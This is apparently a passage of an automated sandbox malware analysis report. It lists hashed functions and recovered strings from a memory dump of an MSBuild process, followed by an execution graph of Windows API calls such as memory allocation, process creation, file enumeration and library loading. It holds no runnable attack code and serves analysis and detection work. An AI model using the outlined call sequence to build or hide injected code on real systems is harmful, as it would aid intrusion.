                                                                          • Instruction Fuzzy Hash: 54E0C233100590ABC712FB5DDD11F4A73AEEFA5774F014121F954872A8CA64AC40C798
                                                                          Function 013D92BC Relevance: .0, Instructions: 20COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: d525d8a569c0f9ba133eec6886f9fea49c4e2b2028ecbc7c78b2547e14c4f72b
                                                                          • Instruction ID: 01ee215f3663d3e74d58fc6c28e2246239b6209bea810572fdbc5ab8b7b9a5e0
                                                                          • Opcode Fuzzy Hash: d525d8a569c0f9ba133eec6886f9fea49c4e2b2028ecbc7c78b2547e14c4f72b
                                                                          • Instruction Fuzzy Hash: 65F0E539251B84CFF72ACF08D1E1B5177B9FB45B48F510458D4868BBA1C73AE942CB40
                                                                          Function 0134B562 Relevance: .0, Instructions: 17COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 513c018af8093926a425ffcf59a89caa6ba2b1d98b48f3b0c5e1abf4a0335a68
                                                                          • Instruction ID: d8de19f1e0591d50ae5a4840300088fe836608a1d5e3522e86de276347753c86
                                                                          • Opcode Fuzzy Hash: 513c018af8093926a425ffcf59a89caa6ba2b1d98b48f3b0c5e1abf4a0335a68
                                                                          • Instruction Fuzzy Hash: 3FD05B31161650EFDB317F19ED05F82BAB5EF90B14F0505547105164F485A1ED44C6E0
                                                                          Function 0138E59C Relevance: .0, Instructions: 16COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                                                          • Instruction ID: 24b6c7d0fd7d54e43f41be81eb601977b65e4280a0b264be161bd2799914c79d
                                                                          • Opcode Fuzzy Hash: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                                                          • Instruction Fuzzy Hash: 7AD0A932204620ABDB32AA1CFC00FC333E9BB88B28F060459B008C7054C3A0AC81CB84
                                                                          Function 0134A0E3 Relevance: .0, Instructions: 15COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                                                                          • Instruction ID: 31ff7206389a943e3ea252079dd7571ec9af46e9321effa503eca8436a1235a0
                                                                          • Opcode Fuzzy Hash: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                                                                          • Instruction Fuzzy Hash: E1D0223221703093CF285A5A6800F637949AB80A98F0A002CB40B93C04C0048C42D2E0
                                                                          Function 013602A0 Relevance: .0, Instructions: 13COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                                                                          • Instruction ID: 6d0375a96d14577e55aa311401aea41b990765c10590e6a1f096928c127d85d2
                                                                          • Opcode Fuzzy Hash: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                                                                          • Instruction Fuzzy Hash: 1ED09235212A80CFD61A8B0CC5A5B1533A8BB44A48F814490E542CBB26E668D940CA00
                                                                          Function 013D930B Relevance: .0, Instructions: 12COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 73b68ca8792e09d39eb84bf204166a27678a7482029cab1375adc9e7cd32c121
                                                                          • Instruction ID: ae6edc32f625a1fed16429d64a77fdd68faf16036f45e3a356f031afbfd976ce
                                                                          • Opcode Fuzzy Hash: 73b68ca8792e09d39eb84bf204166a27678a7482029cab1375adc9e7cd32c121
                                                                          • Instruction Fuzzy Hash: A9D05E36941AC4CFE727CB08D165B507BF4F705B48F891098E0424BBA2C77C9984CB00
                                                                          Function 01370310 Relevance: .0, Instructions: 11COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                                                          • Instruction ID: 1a4b3260873ec6d715ab0c520e045cceeaf64850d8f3dcc7f05300e935beb4fa
                                                                          • Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                                                          • Instruction Fuzzy Hash: 08D01236100248EFCB15DF55C890D9AB72AFBD8710F148019FD19077108A35ED62DA50
                                                                          Function 0137340D Relevance: .0, Instructions: 10COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 228d46562787cc6ef91b6aff40b17c30ce715ed8b58bcfbb69b93c396a4a2043
                                                                          • Instruction ID: c7fa1eb7f195b6c35e23ede1b980f7cb8889945a0e235af0c281c8616195dd47
                                                                          • Opcode Fuzzy Hash: 228d46562787cc6ef91b6aff40b17c30ce715ed8b58bcfbb69b93c396a4a2043
                                                                          • Instruction Fuzzy Hash: 74C08C781455816AEF3F5708C900B283A54BB0070EF84019CBB44B94A2C3AC98029218
                                                                          Function 01392890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: ___swprintf_l
                                                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                          • API String ID: 48624451-2108815105
                                                                          • Opcode ID: 614dc0bfb93aa0b347b32f704f8c35ac257e8ad9d88fde1976a949fff0eed3b3
                                                                          • Instruction ID: c164b3e90e664baf9efa8afa7e33de3550cf97230e246d936597df8aac0599bb
                                                                          • Opcode Fuzzy Hash: 614dc0bfb93aa0b347b32f704f8c35ac257e8ad9d88fde1976a949fff0eed3b3
                                                                          • Instruction Fuzzy Hash: 6451F7B6A0451ABFCF11DB9C888097FFBB8BB18248B50C129F4A5D7641E334EE1087E0
                                                                          Function 01387630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • ExecuteOptions, xrefs: 013C46A0
                                                                          • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 013C4725
                                                                          • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 013C4655
                                                                          • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 013C46FC
                                                                          • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 013C4742
                                                                          • CLIENT(ntdll): Processing section info %ws..., xrefs: 013C4787
                                                                          • Execute=1, xrefs: 013C4713
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                                          • API String ID: 0-484625025
                                                                          • Opcode ID: f07529de605c541f18efc3c852c2f32e310acf8306fb17c7455b192a829a9e73
                                                                          • Instruction ID: 9835da84f7a9f607c2d03c9e8ac3943d1c4a16c4ffbbfedaaf52e294a5a373a8
                                                                          • Opcode Fuzzy Hash: f07529de605c541f18efc3c852c2f32e310acf8306fb17c7455b192a829a9e73
                                                                          • Instruction Fuzzy Hash: 125127356003096AEF20BBA8DC95FBA77A9AF5471CF1400A9E605A7290EB709E45CF50
                                                                          Function 0139B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: __aulldvrm
                                                                          • String ID: +$-$0$0
                                                                          • API String ID: 1302938615-699404926
                                                                          • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                          • Instruction ID: 02f15e79515ceb51fdbb22f5ed44dd524b90f8e55534d37adf7c6024477003f6
                                                                          • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                          • Instruction Fuzzy Hash: 3381D470E052499EEF25CE6CE891FFEFFB1AF45368F184219D851A7299C7349840CB91
                                                                          Function 0138BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 013C7B7F
                                                                          • RTL: Resource at %p, xrefs: 013C7B8E
                                                                          • RTL: Re-Waiting, xrefs: 013C7BAC
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                          • API String ID: 0-871070163
                                                                          • Opcode ID: abdbe22b9c065aef29638ac6744bc6bed9125c1afc3d0d51e67bb6bcc605dccc
                                                                          • Instruction ID: e0ecd2604163cb0332a78b723ae71ed810b5c15bae7f25abebc27a9366e7efd8
                                                                          • Opcode Fuzzy Hash: abdbe22b9c065aef29638ac6744bc6bed9125c1afc3d0d51e67bb6bcc605dccc
                                                                          • Instruction Fuzzy Hash: 0141E1353007039FDB21EF29D840B6AB7E5EF98718F000A1DF95ADB680DB71E8098B91
                                                                          Function 0138B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 013C728C
                                                                          Strings
                                                                          • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 013C7294
                                                                          • RTL: Resource at %p, xrefs: 013C72A3
                                                                          • RTL: Re-Waiting, xrefs: 013C72C1
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                          • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                          • API String ID: 885266447-605551621
                                                                          • Opcode ID: deb77a2354578e3d5fc303242b3e2d8ad56ad1f563280d06c834e0ccce881144
                                                                          • Instruction ID: d89f21c7ea50b30e9d3d88a68035c4559798781ffb03bc75266e8edac327d93a
                                                                          • Opcode Fuzzy Hash: deb77a2354578e3d5fc303242b3e2d8ad56ad1f563280d06c834e0ccce881144
                                                                          • Instruction Fuzzy Hash: 8941F235700707ABDB20DF29CC41B66B7A6FB94B18F14061DFD55AB640DB31E8028BD1
                                                                          Function 01397D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: __aulldvrm
                                                                          • String ID: +$-
                                                                          • API String ID: 1302938615-2137968064
                                                                          • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                          • Instruction ID: 0e55a7290639afee77711aa383ce3d25e5106acc39c4f820bc8f162f84f5aa2e
                                                                          • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                          • Instruction Fuzzy Hash: 1191B471E2020A9BEF24DF6DC8816BEBBA5FF84728F14451AE956E72C0E73089458F11
                                                                          Function 01359126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: $$@
                                                                          • API String ID: 0-1194432280
                                                                          • Opcode ID: cef30475f265ff242d76c68c05629e62894d89aa9ace95b26aba0f9d523beae0
                                                                          • Instruction ID: 7f0e4cd687eeac809c9956c413070de4c856c6c8b2b4a2a387200c390fea2c65
                                                                          • Opcode Fuzzy Hash: cef30475f265ff242d76c68c05629e62894d89aa9ace95b26aba0f9d523beae0
                                                                          • Instruction Fuzzy Hash: 44812C71D00269DBDB35CB58CC44BEEB7B8AB48758F0141DAEA19B7640E7705E84CFA0
                                                                          Function 013DCEA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • @_EH4_CallFilterFunc@8.LIBCMT ref: 013DCFBD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: CallFilterFunc@8
                                                                          • String ID: @$@4Qw@4Qw
                                                                          • API String ID: 4062629308-2383119779
                                                                          • Opcode ID: cc7fd87edd72c1a6380aab41ff1b4ea831677ebd87935d3f16b85de5c389b7e8
                                                                          • Instruction ID: adf37f8a4bab53e017541c6e7622e8caab3c8238395c83ab4b4acb2b56e4a80e
                                                                          • Opcode Fuzzy Hash: cc7fd87edd72c1a6380aab41ff1b4ea831677ebd87935d3f16b85de5c389b7e8
                                                                          • Instruction Fuzzy Hash: 1D41B6B6900219DFDB21DFE9D840AAEBBB8FF95B58F10402EE905DB264D734C905CB61

                                                                          Execution Graph

                                                                          Execution Coverage:2.9%
                                                                          Dynamic/Decrypted Code Coverage:3.3%
                                                                          Signature Coverage:1.8%
                                                                          Total number of Nodes:392
                                                                          Total number of Limit Nodes:63
                                                                          execution_graph 83295 2ba11fb PostThreadMessageW 83296 2ba120d 83295->83296 83297 2b99cb0 83298 2b99cbf 83297->83298 83299 2b99d00 83298->83299 83300 2b99ced CreateThread 83298->83300 83301 2b9b8f0 83304 2bbb920 83301->83304 83303 2b9cf61 83307 2bb9a70 83304->83307 83306 2bbb951 83306->83303 83308 2bb9b11 83307->83308 83310 2bb9aa4 83307->83310 83309 2bb9b24 NtAllocateVirtualMemory 83308->83309 83309->83306 83310->83306 83311 2bbcab0 83314 2bbb9b0 83311->83314 83317 2bb9c80 83314->83317 83316 2bbb9c9 83318 2bb9c9a 83317->83318 83319 2bb9ca8 RtlFreeHeap 83318->83319 83319->83316 83320 2bb95f0 83321 2bb9625 83320->83321 83322 2bb96b0 83320->83322 83323 2bb96c3 NtCreateFile 83322->83323 83329 2bb8f30 83330 2bb8f4a 83329->83330 83333 4dd2df0 LdrInitializeThunk 83330->83333 83331 2bb8f6f 83333->83331 83334 2bb1f30 83336 2bb1f49 83334->83336 83335 2bb1f91 83337 2bbb9b0 RtlFreeHeap 83335->83337 83336->83335 83339 2bb1fd4 83336->83339 83341 2bb1fd9 83336->83341 83338 2bb1fa1 83337->83338 83340 2bbb9b0 RtlFreeHeap 83339->83340 83340->83341 83342 4dd2ad0 LdrInitializeThunk 83343 2ba71a0 83344 2ba71ca 83343->83344 83347 2ba8310 83344->83347 83346 2ba71f4 83348 2ba832d 83347->83348 83354 2bb9060 83348->83354 83350 2ba837d 83351 2ba8384 83350->83351 83359 2bb9140 83350->83359 83351->83346 83353 2ba83ad 83353->83346 83355 2bb9091 83354->83355 83356 2bb9104 83354->83356 83355->83350 83364 4dd2f30 LdrInitializeThunk 83356->83364 83357 2bb913a 83357->83350 83360 2bb9178 83359->83360 83361 2bb91fd 83359->83361 83360->83353 83365 4dd2d10 LdrInitializeThunk 83361->83365 83362 2bb923f 83362->83353 83364->83357 83365->83362 83366 2ba7720 83367 2ba7738 83366->83367 83369 2ba7792 83366->83369 83367->83369 83370 2bab660 83367->83370 83371 2bab686 83370->83371 83372 2bab8b3 83371->83372 83391 2bb9d00 83371->83391 83372->83369 83374 2bab6fc 83374->83372 83394 2bbcb80 83374->83394 83376 2bab71b 83376->83372 83377 2bab7ef 83376->83377 83400 2bb8f80 83376->83400 83379 2ba5f40 LdrInitializeThunk 83377->83379 83390 2bab80b 83377->83390 83379->83390 83381 2bab7d7 83410 2ba84e0 83381->83410 83382 2bab7b5 83407 2bb4bd0 83382->83407 83383 2bab786 83383->83372 83383->83381 83383->83382 83404 2ba5f40 83383->83404 83388 2ba84e0 LdrInitializeThunk 83389 2bab8a9 83388->83389 83389->83369 83390->83388 83392 2bb9d1d 83391->83392 83393 2bb9d2e CreateProcessInternalW 83392->83393 83393->83374 83395 2bbcaf0 83394->83395 83398 2bbcb4d 83395->83398 83414 2bbba90 83395->83414 83397 2bbcb2a 83399 2bbb9b0 RtlFreeHeap 83397->83399 83398->83376 83399->83398 83401 2bb8f9a 83400->83401 83420 4dd2c0a 83401->83420 83402 2bab77d 83402->83377 83402->83383 83405 2bb9140 LdrInitializeThunk 83404->83405 83406 2ba5f7e 83405->83406 83406->83382 83408 2ba84e0 LdrInitializeThunk 83407->83408 83409 2bb4c02 83408->83409 83409->83381 83411 2ba84f3 83410->83411 83423 2bb8e80 83411->83423 83413 2ba851e 83413->83369 83417 2bb9c30 83414->83417 83416 2bbbaab 83416->83397 83418 2bb9c4d 83417->83418 83419 2bb9c5b RtlAllocateHeap 83418->83419 83419->83416 83421 4dd2c1f LdrInitializeThunk 83420->83421 83422 4dd2c11 83420->83422 83421->83402 83422->83402 83424 2bb8f07 83423->83424 83425 2bb8eb1 83423->83425 83428 4dd2dd0 LdrInitializeThunk 83424->83428 83425->83413 83426 2bb8f29 83426->83413 83428->83426 83429 2bb9860 83430 2bb988e 83429->83430 83431 2bb98e3 83429->83431 83432 2bb98f6 NtDeleteFile 83431->83432 83433 2bb1ba0 83434 2bb1bbc 83433->83434 83435 2bb1bf8 83434->83435 83436 2bb1be4 83434->83436 83443 2bb9910 83435->83443 83437 2bb9910 NtClose 83436->83437 83439 2bb1bed 83437->83439 83440 2bb1c01 83446 2bbbad0 RtlAllocateHeap 83440->83446 83442 2bb1c0c 83444 2bb992a 83443->83444 83445 2bb9938 NtClose 83444->83445 83445->83440 83446->83442 83447 2bb9760 83448 2bb9813 83447->83448 83450 2bb9794 83447->83450 83449 2bb9826 NtReadFile 83448->83449 83451 2ba2b67 83452 2ba2b88 83451->83452 83455 2ba66d0 83452->83455 83454 2ba2b93 83456 2ba6703 83455->83456 83457 2ba6727 83456->83457 83462 2bb9470 83456->83462 83457->83454 83459 2ba674a 83459->83457 83460 2bb9910 NtClose 83459->83460 83461 2ba67ca 83460->83461 83461->83454 83463 2bb948a 83462->83463 83466 4dd2ca0 LdrInitializeThunk 83463->83466 83464 2bb94b3 83464->83459 83466->83464 83467 2baa01c 83468 2baa021 83467->83468 83469 2baa04d 83468->83469 83470 2bbb9b0 RtlFreeHeap 83468->83470 83470->83469 83471 2b99d10 83473 2b9a066 83471->83473 83474 2b9a434 83473->83474 83475 2bbb610 83473->83475 83476 2bbb636 83475->83476 83481 2b93ec0 83476->83481 83478 2bbb642 83479 2bbb67b 83478->83479 83484 2bb5a50 83478->83484 83479->83474 83483 2b93ecd 83481->83483 83488 2ba3610 83481->83488 83483->83478 83485 2bb5ab2 83484->83485 83487 2bb5abf 83485->83487 83499 2ba1dc0 83485->83499 83487->83479 83489 2ba362d 83488->83489 83491 2ba3643 83489->83491 83492 2bba360 83489->83492 83491->83483 83494 2bba37a 83492->83494 83493 2bba3a9 83493->83491 83494->83493 83495 2bb8f80 LdrInitializeThunk 83494->83495 83496 2bba403 83495->83496 83497 2bbb9b0 RtlFreeHeap 83496->83497 83498 2bba41c 83497->83498 83498->83491 83500 2ba1df8 83499->83500 83515 2ba8270 83500->83515 83502 2ba1e00 83503 2ba20d6 83502->83503 83504 2bbba90 RtlAllocateHeap 83502->83504 83503->83487 83505 2ba1e16 83504->83505 83506 2bbba90 RtlAllocateHeap 83505->83506 83507 2ba1e27 83506->83507 83508 2bbba90 RtlAllocateHeap 83507->83508 83510 2ba1e38 83508->83510 83514 2ba1ecf 83510->83514 83534 2ba6e30 NtClose LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 83510->83534 83512 2ba2082 83530 2bb83a0 83512->83530 83526 2ba4960 83514->83526 83516 2ba829c 83515->83516 83535 2ba8160 83516->83535 83519 2ba82e1 83522 2ba82fd 83519->83522 83524 2bb9910 NtClose 83519->83524 83520 2ba82c9 83521 2ba82d4 83520->83521 83523 2bb9910 NtClose 83520->83523 83521->83502 83522->83502 83523->83521 83525 2ba82f3 83524->83525 83525->83502 83527 2ba4984 83526->83527 83528 2ba49c0 LdrLoadDll 83527->83528 83529 2ba498b 83527->83529 83528->83529 83529->83512 83531 2bb8402 83530->83531 83533 2bb840f 83531->83533 83546 2ba20f0 83531->83546 83533->83503 83534->83514 83536 2ba8256 83535->83536 83537 2ba817a 83535->83537 83536->83519 83536->83520 83541 2bb9010 83537->83541 83540 2bb9910 NtClose 83540->83536 83542 2bb902d 83541->83542 83545 4dd35c0 LdrInitializeThunk 83542->83545 83543 2ba824a 83543->83540 83545->83543 83562 2ba8540 83546->83562 83548 2ba2673 83548->83533 83549 2ba2110 83549->83548 83566 2bb1570 83549->83566 83552 2ba2324 83554 2bbcb80 2 API calls 83552->83554 83553 2ba216e 83553->83548 83569 2bbca50 83553->83569 83556 2ba2339 83554->83556 83555 2ba84e0 LdrInitializeThunk 83558 2ba2389 83555->83558 83556->83558 83574 2ba0c20 83556->83574 83558->83548 83558->83555 83559 2ba0c20 LdrInitializeThunk 83558->83559 83559->83558 83560 2ba24e0 83560->83558 83561 2ba84e0 LdrInitializeThunk 83560->83561 83561->83560 83563 2ba854d 83562->83563 83564 2ba856e SetErrorMode 83563->83564 83565 2ba8575 83563->83565 83564->83565 83565->83549 83567 2bbb920 NtAllocateVirtualMemory 83566->83567 83568 2bb1591 83567->83568 83568->83553 83570 2bbca60 83569->83570 83571 2bbca66 83569->83571 83570->83552 83572 2bbba90 RtlAllocateHeap 83571->83572 83573 2bbca8c 83572->83573 83573->83552 83577 2bb9ba0 83574->83577 83578 2bb9bbd 83577->83578 83581 4dd2c70 LdrInitializeThunk 83578->83581 83579 2ba0c42 83579->83560 83581->83579 83582 2bac9d0 83584 2bac9f9 83582->83584 83583 2bacafd 83584->83583 83585 2bacaa3 FindFirstFileW 83584->83585 83585->83583 83587 2bacabe 83585->83587 83586 2bacae4 FindNextFileW 83586->83587 83588 2bacaf6 FindClose 83586->83588 83587->83586 83588->83583 83589 2ba8bd0 83590 2ba8bd5 83589->83590 83591 2ba8bc1 83589->83591 83590->83591 83593 2ba74c0 83590->83593 83594 2ba74d6 83593->83594 83596 2ba750f 83593->83596 83594->83596 83597 2ba7330 LdrLoadDll 83594->83597 83596->83591 83597->83596 83598 2bb5e90 83599 2bb5ef5 83598->83599 83600 2bb5f30 83599->83600 83603 2bb1840 83599->83603 83602 2bb5f12 83604 2bb17ef 83603->83604 83605 2bb9910 NtClose 83604->83605 83606 2bb182f 83605->83606 83606->83602 83608 2ba3503 83609 2ba8160 2 API calls 83608->83609 83610 2ba3513 83609->83610 83611 2bb9910 NtClose 83610->83611 83612 2ba352f 83610->83612 83611->83612 83613 2bafc40 83614 2bafca4 83613->83614 83615 2ba66d0 2 API calls 83614->83615 83617 2bafdd7 83615->83617 83616 2bafdde 83617->83616 83642 2ba67e0 83617->83642 83619 2baff83 83620 2bafe5a 83620->83619 83621 2baff92 83620->83621 83646 2bafa20 83620->83646 83622 2bb9910 NtClose 83621->83622 83624 2baff9c 83622->83624 83625 2bafe96 83625->83621 83626 2bafea1 83625->83626 83627 2bbba90 RtlAllocateHeap 83626->83627 83628 2bafeca 83627->83628 83629 2bafee9 83628->83629 83630 2bafed3 83628->83630 83655 2baf910 CoInitialize 83629->83655 83631 2bb9910 NtClose 83630->83631 83634 2bafedd 83631->83634 83633 2bafef7 83658 2bb93d0 83633->83658 83636 2baff72 83637 2bb9910 NtClose 83636->83637 83638 2baff7c 83637->83638 83639 2bbb9b0 RtlFreeHeap 83638->83639 83639->83619 83640 2baff15 83640->83636 83641 2bb93d0 LdrInitializeThunk 83640->83641 83641->83640 83643 2ba6805 83642->83643 83662 2bb9290 83643->83662 83647 2bafa3c 83646->83647 83648 2ba4960 LdrLoadDll 83647->83648 83650 2bafa5a 83648->83650 83649 2bafa63 83649->83625 83650->83649 83651 2ba4960 LdrLoadDll 83650->83651 83652 2bafb2e 83651->83652 83653 2ba4960 LdrLoadDll 83652->83653 83654 2bafb8b 83652->83654 83653->83654 83654->83625 83657 2baf975 83655->83657 83656 2bafa0b CoUninitialize 83656->83633 83657->83656 83659 2bb93ea 83658->83659 83667 4dd2ba0 LdrInitializeThunk 83659->83667 83660 2bb9417 83660->83640 83663 2bb92aa 83662->83663 83666 4dd2c60 LdrInitializeThunk 83663->83666 83664 2ba6879 83664->83620 83666->83664 83667->83660 83668 2ba7540 83669 2ba755c 83668->83669 83670 2ba75af 83668->83670 83669->83670 83672 2bb9910 NtClose 83669->83672 83671 2ba76e1 83670->83671 83679 2ba6960 NtClose LdrInitializeThunk LdrInitializeThunk 83670->83679 83673 2ba7577 83672->83673 83678 2ba6960 NtClose LdrInitializeThunk LdrInitializeThunk 83673->83678 83675 2ba76be 83675->83671 83680 2ba6b30 NtClose LdrInitializeThunk LdrInitializeThunk 83675->83680 83678->83670 83679->83675 83680->83671 83681 2bab140 